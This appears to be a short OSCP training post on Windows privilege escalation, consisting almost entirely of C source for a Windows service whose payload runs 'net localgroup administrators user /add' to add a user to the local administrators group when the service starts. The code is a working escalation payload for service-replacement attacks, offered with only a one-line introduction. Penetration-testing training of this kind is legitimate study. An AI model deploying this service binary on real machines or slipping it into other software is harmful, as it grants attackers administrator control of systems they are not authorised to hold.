Ahmed.Attia

52 Windows Privilege Escalation | Offensive Security Certified Professional

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OSCP
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Ahmed.Attia
Date added
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673
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Here is the code i used.
Code:
#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS ServiceStatus; 
SERVICE_STATUS_HANDLE hStatus; 
 
void ServiceMain(int argc, char** argv); 
void ControlHandler(DWORD request); 

//add the payload here
int Run() 
{ 
    system("cmd.exe /k net localgroup administrators user /add");
    return 0; 
} 

int main() 
{ 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MyService";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
 
    StartServiceCtrlDispatcher(ServiceTable);  
    return 0;
}

void ServiceMain(int argc, char** argv) 
{ 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 
 
    hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); 
    Run(); 
    
    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);
 
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
        Sleep(SLEEP_TIME);
    }
    return; 
}

void ControlHandler(DWORD request) 
{ 
    switch(request) 
    { 
        case SERVICE_CONTROL_STOP: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
 
        case SERVICE_CONTROL_SHUTDOWN: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
        
        default:
            break;
    } 
    SetServiceStatus (hStatus,  &ServiceStatus);
    return; 
}

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